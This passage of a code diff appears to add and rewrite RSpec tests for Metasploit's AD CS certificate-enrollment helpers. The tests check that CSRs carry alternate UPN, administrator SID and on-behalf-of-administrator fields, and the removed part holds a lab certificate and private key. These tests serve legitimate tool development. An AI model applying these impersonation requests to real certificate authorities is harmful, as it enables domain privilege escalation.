'host.example.com')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key, alt_dns: 'host.example.com') + end + end + + context 'with alt_dns supplied via datastore' do + before { subject.datastore['ALT_DNS'] = 'host.example.com' } + + it 'passes alt_dns from the datastore to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(dns: 'host.example.com')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + + context 'with alt_upn supplied via opts' do + it 'passes alt_upn to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_upn: 'alice@example.com')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key, alt_upn: 'alice@example.com') + end + end + + context 'with alt_upn supplied via datastore' do + before { subject.datastore['ALT_UPN'] = 'alice@example.com' } + + it 'passes alt_upn from the datastore to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_upn: 'alice@example.com')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + + context 'with alt_sid supplied via opts' do + it 'passes alt_sid to build_csr' do + sid = 'S-1-5-21-1234567890-1234567890-1234567890-500' + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_sid: sid)).and_return(double('csr', to_der: '')) + subject.create_csr(username: 'alice', private_key: rsa_key, alt_sid: sid) + end + end + + context 'with alt_sid supplied via datastore' do + let(:sid) { 'S-1-5-21-1234567890-1234567890-1234567890-500' } + before { subject.datastore['ALT_SID'] = sid } + + it 'passes alt_sid from the datastore to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(msext_sid: sid)).and_return(double('csr', to_der: '')) + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + + context 'with application policies supplied via opts' do + it 'passes application policies to build_csr' do + policies = ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4'] + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(application_policies: policies)).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key, add_cert_app_policy: policies) + end + end + + context 'with application policies supplied via datastore as semicolon-separated string' do + before { subject.datastore['ADD_CERT_APP_POLICY'] = '1.3.6.1.5.5.7.3.2;1.3.6.1.5.5.7.3.4' } + + it 'splits and passes application policies from datastore to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with( + hash_including(application_policies: ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4']) + ).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + + context 'with application policies supplied via datastore as comma-separated string' do + before { subject.datastore['ADD_CERT_APP_POLICY'] = '1.3.6.1.5.5.7.3.2, 1.3.6.1.5.5.7.3.4' } + + it 'splits and passes application policies from datastore to build_csr' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with( + hash_including(application_policies: ['1.3.6.1.5.5.7.3.2', '1.3.6.1.5.5.7.3.4']) + ).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + + context 'with pkcs12 and on_behalf_of supplied via opts' do + let(:pkcs12) do + pkcs12_obj = double('OpenSSL::PKCS12') + allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate) + allow(pkcs12_obj).to receive(:key).and_return(rsa_key) + pkcs12_obj + end + + it 'calls build_on_behalf_of and returns a ContentInfo object' do + result = subject.create_csr( + username: 'alice', + private_key: rsa_key, + pkcs12: pkcs12, + on_behalf_of: 'DOMAIN\\administrator' + ) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) + end + + it 'passes on_behalf_of to build_on_behalf_of' do + expect(Rex::Proto::X509::Request).to receive(:build_on_behalf_of).with( + hash_including(on_behalf_of: 'DOMAIN\\administrator') + ).and_call_original + subject.create_csr( + username: 'alice', + private_key: rsa_key, + pkcs12: pkcs12, + on_behalf_of: 'DOMAIN\\administrator' + ) + end + end + + context 'with pkcs12 but no on_behalf_of' do + let(:pkcs12) do + pkcs12_obj = double('OpenSSL::PKCS12') + allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate) + allow(pkcs12_obj).to receive(:key).and_return(rsa_key) + pkcs12_obj + end + + it 'skips build_on_behalf_of and returns a plain CSR' do + expect(Rex::Proto::X509::Request).not_to receive(:build_on_behalf_of) + result = subject.create_csr(username: 'alice', private_key: rsa_key, pkcs12: pkcs12) + expect(result).to be_a(OpenSSL::X509::Request) + end + end + + context 'with on_behalf_of but no pkcs12' do + it 'skips build_on_behalf_of and returns a plain CSR' do + expect(Rex::Proto::X509::Request).not_to receive(:build_on_behalf_of) + result = subject.create_csr( + username: 'alice', + private_key: rsa_key, + on_behalf_of: 'DOMAIN\\administrator' + ) + expect(result).to be_a(OpenSSL::X509::Request) + end + end + + context 'with on_behalf_of supplied via datastore' do + let(:pkcs12) do + pkcs12_obj = double('OpenSSL::PKCS12') + allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate) + allow(pkcs12_obj).to receive(:key).and_return(rsa_key) + pkcs12_obj + end + + before { subject.datastore['ON_BEHALF_OF'] = 'DOMAIN\\administrator' } + + it 'reads on_behalf_of from the datastore' do + expect(Rex::Proto::X509::Request).to receive(:build_on_behalf_of).with( + hash_including(on_behalf_of: 'DOMAIN\\administrator') + ).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key, pkcs12: pkcs12) + end + end + + context 'with default datastore values (all blank)' do + it 'uses SHA256 as the default digest algorithm' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA256')).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + + it 'passes nil for dns, sid, and upn' do + expect(Rex::Proto::X509::Request).to receive(:build_csr).with( + hash_including(dns: nil, msext_sid: nil, msext_upn: nil) + ).and_call_original + subject.create_csr(username: 'alice', private_key: rsa_key) + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/http/web_enrollment_spec.rb b/spec/lib/msf/core/exploit/remote/http/web_enrollment_spec.rb new file mode 100644 index 0000000000..bca917c821 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/http/web_enrollment_spec.rb @@ -0,0 +1,342 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'msf/core/exploit/remote/http/web_enrollment' + +RSpec.describe Msf::Exploit::Remote::HTTP::WebEnrollment do + include_context 'Msf::Simple::Framework' + + subject do + klass = Class.new(Msf::Exploit) do + include Msf::Exploit::Remote::HTTP::WebEnrollment + + # Stubs for HTTP-client methods not present on Msf::Exploit + def normalize_uri(*parts) + parts.join('/').gsub(%r{/+}, '/') + end + + def target_uri + '/certsrv/' + end + + def send_request_raw(_opts = {}) + nil + end + + def store_loot(_name, _type, _host, _data, _filename, _info) + '/tmp/cert.pfx' + end + end + mod = klass.new + allow(mod).to receive(:vprint_status) + allow(mod).to receive(:vprint_good) + allow(mod).to receive(:vprint_error) + allow(mod).to receive(:print_good) + allow(mod).to receive(:print_status) + allow(mod).to receive(:print_warning) + allow(mod).to receive(:print_error) + allow(mod).to receive(:print_bad) + allow(mod).to receive(:elog) + allow(mod).to receive(:framework).and_return(framework) + mod + end + + # ------------------------------------------------------------------------- + describe '#add_cert_entry' do + before { subject.instance_variable_set(:@issued_certs, {}) } + + context 'when connection_identity is new' do + it 'creates a new array with the cert_template' do + subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') + expect(subject.instance_variable_get(:@issued_certs)).to eq({ 'DOMAIN\\user' => ['UserTemplate'] }) + end + end + + context 'when connection_identity already exists' do + before { subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') } + + it 'appends the new cert_template' do + subject.add_cert_entry('DOMAIN\\user', 'AdminTemplate') + expect(subject.instance_variable_get(:@issued_certs)['DOMAIN\\user']).to contain_exactly('UserTemplate', 'AdminTemplate') + end + end + + context 'with multiple distinct identities' do + it 'keeps them separate' do + subject.add_cert_entry('DOMAIN\\alice', 'UserTemplate') + subject.add_cert_entry('DOMAIN\\bob', 'AdminTemplate') + issued = subject.instance_variable_get(:@issued_certs) + expect(issued['DOMAIN\\alice']).to eq(['UserTemplate']) + expect(issued['DOMAIN\\bob']).to eq(['AdminTemplate']) + end + end + end + + # ------------------------------------------------------------------------- + describe '#cert_issued?' do + before { subject.instance_variable_set(:@issued_certs, {}) } + + context 'when no certs have been issued' do + it 'returns false' do + expect(subject.cert_issued?('DOMAIN\\user', 'UserTemplate')).to be false + end + end + + context 'when a cert has been issued for the identity' do + before { subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') } + + it 'returns true for the issued template' do + expect(subject.cert_issued?('DOMAIN\\user', 'UserTemplate')).to be true + end + + it 'returns false for a different template' do + expect(subject.cert_issued?('DOMAIN\\user', 'AdminTemplate')).to be false + end + + it 'returns false for a different identity' do + expect(subject.cert_issued?('DOMAIN\\other', 'UserTemplate')).to be false + end + end + end + + # ------------------------------------------------------------------------- + describe '#get_cert_templates' do + let(:authenticated_client) { double('authenticated_client') } + + context 'when the response is nil' do + before { allow(subject).to receive(:send_request_raw).and_return(nil) } + + it 'returns nil' do + expect(subject.get_cert_templates(authenticated_client)).to be_nil + end + end + + context 'when the response code is not 200' do + let(:res) { double('response', code: 403, body: '') } + + before { allow(subject).to receive(:send_request_raw).and_return(res) } + + it 'returns nil' do + expect(subject.get_cert_templates(authenticated_client)).to be_nil + end + end + + context 'when the response is 200 with template entries' do + let(:body) do + <<~HTML + + Option Value="E;UserTemplate;1.2.3.4" + Option Value="O;AdminTemplate;5.6.7.8" + HTML + end + let(:res) { double('response', code: 200, body: body) } + + before { allow(subject).to receive(:send_request_raw).and_return(res) } + + it 'returns the extracted template names' do + expect(subject.get_cert_templates(authenticated_client)).to contain_exactly('UserTemplate', 'AdminTemplate') + end + end + + context 'when the response is 200 with no template entries' do + let(:res) { double('response', code: 200, body: 'no templates here') } + + before { allow(subject).to receive(:send_request_raw).and_return(res) } + + it 'returns an empty array' do + expect(subject.get_cert_templates(authenticated_client)).to eq([]) + end + end + + context 'when the response body has mixed E and O prefix entries' do + let(:body) do + "Option Value=\"E;TemplateE;1.1\"\nOption Value=\"O;TemplateO;2.2\"\n" + end + let(:res) { double('response', code: 200, body: body) } + + before { allow(subject).to receive(:send_request_raw).and_return(res) } + + it 'extracts both E and O prefixed templates' do + result = subject.get_cert_templates(authenticated_client) + expect(result).to include('TemplateE', 'TemplateO') + end + end + end + + # ------------------------------------------------------------------------- + describe '#retrieve_certs' do + let(:authenticated_client) { double('authenticated_client') } + + it 'calls retrieve_cert for each template' do + templates = %w[UserTemplate AdminTemplate] + templates.each do |t| + expect(subject).to receive(:retrieve_cert).with('192.168.1.1', authenticated_client, 'DOMAIN\\user', t) + end + subject.retrieve_certs('192.168.1.1', authenticated_client, 'DOMAIN\\user', templates) + end + + it 'does nothing when the template list is empty' do + expect(subject).not_to receive(:retrieve_cert) + subject.retrieve_certs('192.168.1.1', authenticated_client, 'DOMAIN\\user', []) + end + end + + # ------------------------------------------------------------------------- + describe '#retrieve_cert' do + let(:authenticated_client) { double('authenticated_client') } + let(:target_ip) { '192.168.1.1' } + let(:identity) { 'DOMAIN\\alice' } + let(:template) { 'UserTemplate' } + + before { subject.instance_variable_set(:@issued_certs, {}) } + + context 'when generating the RSA key' do + let(:csr_double) { double('csr', to_der: 'der_bytes') } + let(:denied_res) { double('response', code: 200, body: 'request was denied') } + + it 'uses the default key size of 2048 when RSAKeySize is blank' do + allow(subject).to receive(:create_csr).and_return(csr_double) + allow(subject).to receive(:send_request_raw).and_return(denied_res) + expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_call_original + subject.retrieve_cert(target_ip, authenticated_client, identity, template) + end + + it 'uses the RSAKeySize from the datastore when set' do + subject.datastore['RSAKeySize'] = '4096' + allow(subject).to receive(:create_csr).and_return(csr_double) + allow(subject).to receive(:send_request_raw).and_return(denied_res) + expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_call_original + subject.retrieve_cert(target_ip, authenticated_client, identity, template) + end + + it 'passes the generated key to create_csr' do + generated_key = OpenSSL::PKey::RSA.new(2048) + allow(OpenSSL::PKey::RSA).to receive(:new).and_return(generated_key) + allow(subject).to receive(:send_request_raw).and_return(denied_res) + expect(subject).to receive(:create_csr).with(hash_including(private_key: generated_key)).and_return(csr_double) + subject.retrieve_cert(target_ip, authenticated_client, identity, template) + end + end + + context 'when the cert has already been issued' do + before { subject.add_cert_entry(identity, template) } + + it 'returns nil without making an HTTP request' do + expect(subject).not_to receive(:send_request_raw) + expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil + end + end + + context 'when the POST response is 200 with body containing "request was denied"' do + let(:csr) { double('csr', to_der: 'der_bytes') } + let(:res) { double('response', code: 200, body: 'Certificate request was denied by policy') } + + before do + allow(subject).to receive(:create_csr).and_return(csr) + allow(subject).to receive(:send_request_raw).and_return(res) + end + + it 'returns nil' do + expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil + end + end + + context 'when the POST response is 200 with body containing "request failed"' do + let(:csr) { double('csr', to_der: 'der_bytes') } + let(:res) { double('response', code: 200, body: 'Certificate request failed due to an error') } + + before do + allow(subject).to receive(:create_csr).and_return(csr) + allow(subject).to receive(:send_request_raw).and_return(res) + end + + it 'returns nil' do + expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil + end + end + + context 'when the POST response is 401 with body containing "invalid credentials"' do + let(:csr) { double('csr', to_der: 'der_bytes') } + let(:res) { double('response', code: 401, body: 'Error: invalid credentials provided') } + + before do + allow(subject).to receive(:create_csr).and_return(csr) + allow(subject).to receive(:send_request_raw).and_return(res) + end + + it 'returns nil' do + expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil + end + end + + context 'when the POST response is successful but has no location tag' do + let(:csr) { double('csr', to_der: 'der_bytes') } + let(:res) { double('response', code: 200, body: 'Certificate generated successfully, no location here') } + + before do + allow(subject).to receive(:create_csr).and_return(csr) + allow(subject).to receive(:send_request_raw).and_return(res) + end + + it 'returns nil' do + expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil + end + + it 'adds the cert entry before discovering the missing location tag' do + subject.retrieve_cert(target_ip, authenticated_client, identity, template) + expect(subject.cert_issued?(identity, template)).to be true + end + end + + context 'when the POST succeeds with a location tag and GET returns a certificate' do + let(:rsa_key) { OpenSSL::PKey::RSA.new(2048) } + let(:certificate) do + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = OpenSSL::X509::Name.parse('/CN=alice') + cert.issuer = cert.subject + cert.public_key = rsa_key.public_key + cert.not_before = Time.now - 3600 + cert.not_after = Time.now + 3600 + cert.sign(rsa_key, OpenSSL::Digest::SHA256.new) + cert + end + let(:csr) { double('csr', to_der: 'der_bytes') } + let(:post_body) { "Certificate generated\nlocation=\"/certsrv/certnew.cer?ReqID=1&Enc=b64\"" } + let(:post_res) { double('response', code: 200, body: post_body) } + let(:get_res) { double('response', code: 200, body: certificate.to_der) } + + before do + # Force retrieve_cert to use rsa_key so the generated key matches the certificate + rsa_key + allow(OpenSSL::PKey::RSA).to receive(:new).and_return(rsa_key) + allow(subject).to receive(:create_csr).and_return(csr) + allow(subject).to receive(:send_request_raw).and_return(post_res, get_res) + allow(subject).to receive(:store_loot).and_return('/tmp/cert.pfx') + end + + it 'returns an OpenSSL::X509::Certificate' do + result = subject.retrieve_cert(target_ip, authenticated_client, identity, template) + expect(result).to be_a(OpenSSL::X509::Certificate) + end + + it 'records the issued cert entry' do + subject.retrieve_cert(target_ip, authenticated_client, identity, template) + expect(subject.cert_issued?(identity, template)).to be true + end + + it 'stores the loot as a PKCS12 file' do + expect(subject).to receive(:store_loot).with( + 'windows.ad.cs', + 'application/x-pkcs12', + target_ip, + anything, + 'certificate.pfx', + "#{identity} Certificate" + ) + subject.retrieve_cert(target_ip, authenticated_client, identity, template) + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb index 7a316f6e5c..4c24490995 100644 --- a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb @@ -1,368 +1,494 @@ -require 'rspec' -require 'rex/proto/kerberos/model/pkinit' +# frozen_string_literal: true + +require 'spec_helper' +require 'msf/core/exploit/remote/ms_icpr' RSpec.describe Msf::Exploit::Remote::MsIcpr do - include_context 'Msf::UIDriver' - include_context 'Msf::Simple::Framework#modules loading' + include_context 'Msf::Simple::Framework' - let(:subject) do - mod = Msf::Exploit::Remote.allocate - mod.extend described_class + let(:rsa_key) { OpenSSL::PKey::RSA.new(2048) } + + # Build a minimal self-signed certificate, optionally with pre-built extensions. + def build_test_cert(key, extensions: []) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = 1 + cert.subject = OpenSSL::X509::Name.parse('/CN=Test') + cert.issuer = cert.subject + cert.public_key = key.public_key + cert.not_before = Time.now - 3600 + cert.not_after = Time.now + 3600 + extensions.each { |ext| cert.add_extension(ext) } + cert.sign(key, OpenSSL::Digest::SHA256.new) + cert + end + + # Build a subjectAltName extension from a plain SAN string (e.g. "DNS:host.example.com"). + def san_extension(san_string) + stub = OpenSSL::X509::Certificate.new + factory = OpenSSL::X509::ExtensionFactory.new + factory.subject_certificate = stub + factory.issuer_certificate = stub + factory.create_extension('subjectAltName', san_string, false) + end + + # Build a subjectAltName extension from an OpenSSL config block, allowing otherName entries. + def san_extension_from_config(config_string) + config = OpenSSL::Config.parse(config_string) + factory = OpenSSL::X509::ExtensionFactory.new + factory.config = config + factory.create_extension('subjectAltName', '@alt_names', false) + end + + subject do + klass = Class.new(Msf::Exploit) do + include Msf::Exploit::Remote::MsIcpr + end + mod = klass.new + allow(mod).to receive(:vprint_status) + allow(mod).to receive(:vprint_good) + allow(mod).to receive(:vprint_error) + allow(mod).to receive(:print_good) + allow(mod).to receive(:print_status) + allow(mod).to receive(:print_warning) + allow(mod).to receive(:print_error) + allow(mod).to receive(:elog) + allow(mod).to receive(:framework).and_return(framework) mod end - let(:pkcs12_certificate) do - OpenSSL::X509::Certificate.new(<<~CERTIFICATE) - -----BEGIN CERTIFICATE----- - MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF - ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs - YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx - MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk - ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs - ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG - SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9 - j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg - 6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l - l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD - jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx - idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4 - MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU - uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk - YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL - ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z - ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq - ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv - MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD - Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1 - cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq - ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw - PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX - hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG - CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH - AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud - EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp - ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB - oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx - MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC - AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx - 2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp - rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN - 3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL - bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu - bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ - MPqLl/D4OpKpcKz8 - -----END CERTIFICATE----- - CERTIFICATE - end - - let(:pkcs12_key) do - OpenSSL::PKey::RSA.new(<<~KEY) - -----BEGIN RSA PRIVATE KEY----- - MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN - Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM - MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI - G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7 - 3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6 - B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9 - OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX - pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm - /hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs - 5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx - VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h - SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94 - MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX - xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5 - hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g - m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ - /NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt - NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib - KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M - IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG - 2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe - VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+ - syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8 - aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO - C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA== - -----END RSA PRIVATE KEY----- - KEY - end - - let(:x509_csr) do - OpenSSL::X509::Request.new(<<~REQUEST) - -----BEGIN CERTIFICATE REQUEST----- - MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB - BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV - kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT - mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU - DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT - uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL - BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3 - DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/ - gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S - b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD - abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a - x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y - i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg - -----END CERTIFICATE REQUEST----- - REQUEST - end - - let(:content_info) do - Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( - "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ - "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ - "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ - "\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \ - "\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \ - "\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \ - "\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \ - "\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \ - "\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \ - "\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \ - "\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \ - "\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \ - "\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \ - "\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \ - 